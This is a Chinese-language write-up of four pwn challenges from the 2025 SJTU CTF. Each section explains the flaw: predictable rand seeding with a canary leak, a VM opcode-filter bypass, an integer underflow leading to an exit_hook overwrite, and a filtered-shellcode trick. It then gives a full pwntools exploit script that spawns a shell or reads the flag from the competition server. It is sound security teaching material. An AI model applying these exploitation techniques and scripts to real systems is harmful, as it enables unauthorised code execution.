2025-SJTUCTF-PWN

引言:

2025 SJTU CTF PWN方向题解,包含GuessMaster,ret2vmcode,TheLampSecret,ezshellcode四道赛题

1 GuessMaster

看程序是一个随机数预测,一百次预测成功之后就会给两次溢出机会。

程序开了canary,time(0LL)就是拿当前时间戳,只要网速够快就可以保证本地和远端时间戳同步,加上offset就可以得到随机数种子。

这个offset虽然在IDA里看是0xa,但是在start里面好像会对这个变量做一堆莫名其妙的变化。GDB动调一下发现最后的offset是0x6e

程序还给了个后门函数,那就直接随机数预测+canary泄露+ret2text一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import ctypes
import time

elf = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

rand = elf.rand
srand = elf.srand

from pwn import *

context.arch = "amd64"
context.log_level = "DEBUG"

# p = process("./pwn")
p = remote("instance.penguin.0ops.sjtu.cn", 18487)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

epoch_time = int(time.time())

random_numbers = []

srand(epoch_time + 0x6e)
# srand(epoch_time + 0x6e)

success("epoch time => {}".format(hex(epoch_time + 0xa)))

for i in range(100):
p.recv()
randnum = rand()
p.sendline(str(randnum))

p.recv()
payload = b"a" * 0x109
p.send(payload)
p.recvuntil(payload)

canary = u64(p.recv(7).rjust(8, b"\x00"))
stack_pointer = u64(p.recv(6).ljust(8, b"\x00"))
success("canary => {}".format(hex(canary)))
p.recv()
payload = b"a" * 0x108 + p64(canary) + b"a" * 8 + b"\x93"
p.send(payload)
p.recv()

p.interactive()

2 ret2vmcode

一个opcode的题目,给了很多操作原语,先阅读理解一下。

一个操作原语是9个字节,第一个字节表明这是什么操作,然后剩下八个字节前四个代表一个操作寄存器,后四个代表一个操作寄存器,而且程序的寄存器只有4个可用:

把所有代码给Claude 3.7 sonnet,让他给我阅读理解一下。

这个程序一共分配0x300字节大小的虚拟内存空间,并且表明前0X100字节是指令区,后0x200字节是数据区。

可以通过操作原语修改vm内存区的任意地址内存,这里并没有任何限制:

发现程序还提供了一个syscall的操作原语:

很给的ORW,所以本题的目的就是通过ORW来获取flag的内容。

但在main函数中对输入的字符有限制,不能出现0xf9, 对应sys操作的标识符。

没关系,从storeload中可以看到程序并没有对指令操作的地址有任何限制,也就是我们可以通过前面的指令去修改后面指令的标识符,来绕过这个检测。

思路可行,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
from pwn import *

context.arch = "i386"
context.log_level = "debug"

class VM:
def __init__(self, target):
self.p = target
self.opcodes = {
'imm': 0xF1,
'add': 0xF2,
'sub': 0xF3,
'xor': 0xF4,
'push': 0xF5,
'pop': 0xF6,
'load': 0xF7,
'store': 0xF8,
'sys': 0xF9,
}

self.SYS_READ = 1
self.SYS_WRITE = 2
self.SYS_OPEN = 3
self.filename_addr = None

def wait_for_prompt(self):
self.p.recvuntil(b"Input your vmcode:")

def get_vm_memory_addr(self):
self.p.recvuntil(b"VM Memory Initialized at ")
addr_str = self.p.recvuntil(b".\n").strip(b".\n")
return int(addr_str, 16)

def make_instruction(self, opcode, arg1=0, arg2=0):
if opcode == 'sys':
return p8(self.opcodes['store']) + p32(arg1) + p32(arg2)
return p8(self.opcodes[opcode]) + p32(arg1) + p32(arg2)

def imm(self, value, reg=0):
return self.make_instruction('imm', reg, value)

def add(self, dst=0, src=0):
return self.make_instruction('add', dst, src)

def sub(self, dst=0, src=0):
return self.make_instruction('sub', dst, src)

def xor(self, dst=0, src=0):
return self.make_instruction('xor', dst, src)

def push(self, reg=0):
return self.make_instruction('push', reg)

def pop(self, reg=0):
return self.make_instruction('pop', reg)

def load(self, dst=0, src=0):
return self.make_instruction('load', dst, src)

def store(self, dst=0, src=0):
return self.make_instruction('store', dst, src)

def sys(self, syscall_num=0):
return self.make_instruction('sys', syscall_num)

def patch_opcode(self, instruction_addr, new_opcode):
return [
self.imm(1, 0),
self.add(instruction_addr, 0)
]

def send_code(self, code):
self.wait_for_prompt()
self.p.sendline(code[:0x100])

def execute_code(self, instructions):
vmcode = b''
for instr in instructions:
vmcode += instr

if len(vmcode) > 0x100:
log.warning(f"VM code is {len(vmcode)} bytes, truncating to 0x100 bytes!")
vmcode = vmcode[:0x100]

self.send_code(vmcode)
return self.p.recv()

def setup(self):
self.vm_mem = self.get_vm_memory_addr()
self.data_section = self.vm_mem + 0x100
self.code_section = self.vm_mem
self.filename_addr = self.data_section + 0x100
log.info(f"VM memory at: {hex(self.vm_mem)}")
log.info(f"Data section at: {hex(self.data_section)}")

def write_string_to_memory(self, string_data, addr=None):

if len(string_data) > 4:
log.warning(f"String is too long, truncating!")
string_data = string_data[:4]

int_value = 0
for i, c in enumerate(string_data):
int_value |= (c << (8 * i))

if addr is None:
addr = self.data_section + 0x100

# Store the 32-bit integer at once
instructions = []
instructions.append(self.imm(int_value, 0)) # Load integer value into reg0
instructions.append(self.imm(addr, 4)) # Load address into reg4
instructions.append(self.store(4, 0)) # Store reg0 at address in reg4

return instructions, addr

def sys_read_patched(self, fd, buf_addr, size):
instructions = [
self.imm(fd, 1),
# self.store(0, self.data_section + 4),
self.imm(buf_addr, 2),
# self.store(1, self.data_section + 8),
self.imm(size, 3),
# self.store(2, self.data_section + 12),
]

sys_inst = self.sys(self.SYS_READ)
instructions.append(sys_inst)

# instructions += self.patch_opcode(sys_instr_addr, 0xF9)

return instructions

def sys_write_patched(self, fd):
instructions = [
self.imm(fd, 1),
# self.store(0, self.data_section + 4),
# self.imm(buf_addr),
# self.store(1, self.vm_mem + 8),
# self.imm(size),
# self.store(2, self.vm_mem + 12),
]

sys_inst = self.sys(self.SYS_WRITE)
instructions.append(sys_inst)

# instructions += self.patch_opcode(sys_instr_addr, 0xF9)

return instructions

def sys_open_patched(self, filename_addr):
instructions = [
# self.imm(filename_addr, 0),
self.imm(filename_addr, 1),
# self.store(1, 0)
]

sys_inst = self.sys(self.SYS_OPEN)
instructions.append(sys_inst)

# instructions += self.patch_opcode(sys_instr_addr, 0xF9)

return instructions

def exploit(self):
filename = b"flag"
buffer_addr = self.data_section + 0x10
sys_ptr_addr = self.vm_mem + 0x20 # Address to store syscall pointers

# Write filename to memory (compact)
file_str_instrs, filename_addr = self.write_string_to_memory(filename)

# Compact program
program = file_str_instrs
left = 0xa * 9
program += [
self.imm(1, 2),

self.imm(0x3f8, 0),
self.add(0, 2),
self.imm(self.code_section + 0x99, 1),
self.store(1, 0),

self.imm(0x1f8, 0),
self.add(0, 2),
self.imm(self.code_section + 0xbd, 1),
self.store(1, 0),

self.imm(0x2f8, 0),
self.add(0, 2),
self.imm(self.code_section + 0xcf, 1),
self.store(1, 0),
]
success("length => {}".format(hex(len(program))))
program += self.sys_open_patched(filename_addr) # 9
program += self.sys_read_patched(3, self.data_section + 0x50, 0x50)
program += self.sys_write_patched(1)

print(program)
# gdb.attach(self.p, "b sys")
result = self.execute_code(program)
print(result)
self.p.interactive()

if __name__ == "__main__":
target = process("./vm")
target = remote("instance.penguin.0ops.sjtu.cn", 18830)
vm = VM(target)
vm.setup()
vm.exploit()

需要注意本题只能输入0x100个字节,所有orw,在r之后,后两个寄存器不用变,直接改第一个寄存器即可完成w,节省空间。

本地运行题目,获取flag:

3 TheLampSecret

一个堆题,但又不那么堆。程序大意是一个许愿的功能,在init里会分配两个堆块,一个是许愿池,一个是标记许愿池里每0x40(一个愿望)的使用情况。

wish_count << 6表明了每个愿望的大小就是0x40字节。

程序提供了几个功能,许愿,查看愿望,编辑愿望,删除愿望,重置愿望还有一个thank tomorin

make view edit delete都没什么洞,主要还是resetthank

先看thank, 是白给的一个栈溢出,但程序里没有提供后门函数,而且开了PIE,想要溢出还要泄露canary

reset里可以重置愿望池子,这里有一个很明显的负数溢出的漏洞。当我们输入wish_count是0时,会绕过wish_count > 3d的检测,下面会把wish_count - 1,就变成了一个很大的无符号整形数。接下来由于这个count特别大,最终分配的新的愿望池子的size就是0x114514

虽然但是,老子一开始是按照我0xffffffffcount分配的,你私自把size改小没通知count,导致这里间接出发了一个很严重的越界访问读写的漏洞。

从之前几个函数的操作中可以得知,他们对于愿望池的内存访问都是根据wish_count来的,所以我现在可以越界访问堆块外的数据。

由于分配的堆块是0x114514大小,是一个很大的大堆块,会分配在一个高地址区间,这个地址区间有两个更高地址的邻居:

  • TLS -> 泄露canary
  • __rtld_global -> 打exit_hook

一开始想泄露canary,但是看了下view_wish%s输出我泄露个蛋。

Dockerfileubuntu:16.04 果断打exit_hook

1
2
3
4
5
FROM ubuntu:16.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd

exit_hook的触发条件是程序通过exit显式退出,或者程序通过main函数正常返回,在libc 2.23 - 2.26有效

需要能写到ld加载段,可以有两种修改_rtld_global的方式,任选其一:

  • rtld_lock_default_lock_recursivertld_lock_default_unlock_recursivesystem_dl_load_lock/bin/sh\x00
1
2
3
4
5
6
  0x7fb213ac5dca <_dl_fini+106>    lea    rdi, [rip + 0x1cb97]          <_rtld_global+2312>
0x7fb213ac5dd1 <_dl_fini+113> call qword ptr [rip + 0x1d191] <execvpe+638>
rdi: 0x7fb213ae2968 (_rtld_global+2312) ◂— 0x0
rsi: 0x0
rdx: 0x7fb213ac5d60 (_dl_fini) ◂— endbr64
rcx: 0x1
  • rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive 为 one_gadget
1
2
3
4
5
0x7f83b9c36dd1 <_dl_fini+113>    call   qword ptr [rip + 0x1d191]     <rtld_lock_default_lock_recursive>
rdi: 0x7f83b9c53968 (_rtld_global+2312) ◂— 0x0
rsi: 0x0
rdx: 0x7f83b9c36d60 (_dl_fini) ◂— endbr64
rcx: 0x1

三者在_rtld_global中的偏移如下:

1
2
3
4
5
ld_base = libc_base + 0xffffffff
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908

引用: exit_hook攻击利用-先知社区

我们还需要泄露一个libc基地址,make里面是使用memcpybuf里面的数据拷贝到愿望池中的,但在这之前并没有对buf进行清空操作,在view输出的时候就会把栈上的脏数据也一起拉出来。只要获得一个libc段的地址, 再减去偏移,就可以获得基地址。

本题的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from struct import pack
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./chall")
# 0x0000000000001183 : pop rdi ; ret
# 0x0000000000001181 : pop rsi ; pop r15 ; ret
# p = remote("instance.penguin.0ops.sjtu.cn", 18756)
ld = ELF("./ld-2.23.so")
libc = ELF("./libc-2.23.so")

def make(idx, content):
sla(b"> ", str(1))
sla(b"Enter index: ", str(idx))
sa(b"Enter wish: ", content)

def view(idx):
sla(b"> ", str(2))
sla(b"Enter index: ", str(idx))

def reset(count):
sla(b"> ", str(5))
sla(b"I will reset your wish, how many wishes do you want now? Don't be greedy: ", str(count))


# _rtld_global = ld_base + ld.sym['_rtld_global']
# _dl_rtld_lock_recursive = _rtld_global + 0xf08
# _dl_rtld_unlock_recursive = _rtld_global + 0xf10
# _dl_load_lock = _rtld_global + 0x908
offset = (0x7f75dcf39040 - 0x7f75dce20010) + 0xf10
index = offset // 0x40
padding = offset % 0x40

# offset = (0x7f9ea2c83728 - 0x7f9ea2b6d010)
# index = offset // 0x40
# padding = offset % 0x40
# success("index => {}, padding => {}".format(hex(index), hex(padding)))

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

one_gadget_off = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

make(0, b"aaaaaaaa")
view(0)
p.recvuntil(b"a" * 8)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - (libc.sym["_IO_file_overflow"] + 235)
success("libc_base => {}".format(hex(libc_base)))
one_gadget = libc_base + one_gadget_off[2]
gdb.attach(p)

reset(0)

make(index, padding * b"a" + p64(one_gadget))

sla(b"> ", str(6))
p.recv()
p.sendline(b"a")
p.interactive()

本地运行获取shell:

4 ezShellcode

手搓不可见字符shellcode 比手搓可见字符简单多了。

可以输入0x100个字节,strlen要求不能有\x00字符,不然会被截断,下面还有一个check,函数里面的意思就是保证shellcode里不能有[A-Za-z0-9]

这题跟一般题目还有一个不一样的点就是,他会把输入的东西进行一个转换,转换之后的才是要执行的shellcode

直接把转换逻辑丢给AI让他帮我逆了,看起来就是取相邻的两个字节,进行一个类似BCD码的转化(不懂啊不懂啊)。

明确以下几条规则:

  • x86/64下大多数对32位寄存器的操作不产生可见字符
  • 在跳转指令中jg, jge等无符号数比较不产生可见字符
  • jmp qword ptr指令不产生可见字符(除非偏移的数值中产生可见字符)
  • mov dword ptr []指令不产生可见字符(除非偏移的数值中产生可见字符)
  • 针对32位寄存器的立即数操作,立即数会被对齐到32位,如果位数不够会产生\x00
  • syscall\0xf \0x5,没有可见字符

本题思路如下:

  • 第一次输入shellcode由于会被校验,所以直接拿shell不现实,这里一般思路是获取栈上在call rax时被压进去的返回地址,跳转到read函数再来一次华丽的输入。
  • 由于本题机制的原因,假如我们第一次返回到了read函数重新输入,这时候输入的地址是我们第一次mmap的地址,但read之后会在进行一次mmap, 这时候v8会被刷新为一个新的地址,那么存入new v8的数据,就是栈上的buf。注意这个buf, 等我们第二次mmap的时候,buf里存储的仍然是我们第一次输入的shellcode, 最终会call new v8, 再次运行一遍我们第一次输入的shellcode
  • 所以我们需要让一份shellcode, 在两次运行时,执行不同的功能:
    • 第一次运行,获取栈上保存的返回地址,跳转到read函数,进行old v8内存的覆写,并将old v8指针保存在栈上,设置计数器
    • 第二次运行,检查计数器,如果已经被执行过,获取第一次运行时保存在栈上的old v8, 跳转过去,getshell

栈真是个好东西,虽然程序在运行时会在函数里call 来call去,但是我rbp岿然不动,这里面还涉及到很多动调的细节,比较考验耐心就是了。

本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.arch = "amd64"
context.log_level = "debug"

p = process("./pwn")
p = remote("instance.penguin.0ops.sjtu.cn", 18676)

print(hex(0x156c - 0x13d2))

# 定义shellcode
shellcode = f"""
mov bl, byte ptr [rbp - 0x10]
cmp bl, 0x0
jg next
mov ebx, dword ptr [rsp]
sub ebx, {0x1111019a + 0x1111}
add ebx, {0x11111111}
mov dword ptr [rsp], ebx
mov ebx, dword ptr [rbp - 0x138]
mov dword ptr [rbp - 0x8], ebx
mov bl, 0x1
mov byte ptr [rbp - 0x10], bl
jmp qword ptr [rsp]
nop
next:
mov ebx, dword ptr [rbp - 8]
mov dword ptr [rbp - 0x138], ebx
jmp qword ptr [rbp - 0x138]
"""

def num_2_char(a):
if 0 <= a <= 9:
return chr(ord('0') + a)
elif 0xa <= a <= 0xf:
return chr(ord('a') + (a - 0xa))

payload = asm(shellcode, arch='amd64')
payload_new = ""

for i in payload:

byte_val = i
high = byte_val // 0x10
low = byte_val % 0x10

payload_new += num_2_char(high) + num_2_char(low)

# print(payload)
# gdb.attach(p, "brva 0x156A")
p.sendlineafter(b"Your shellcode:", payload_new)

payload = b"\x00\x00" + asm(shellcraft.sh())
p.sendline(payload)

p.interactive()

运行exp,获取shell: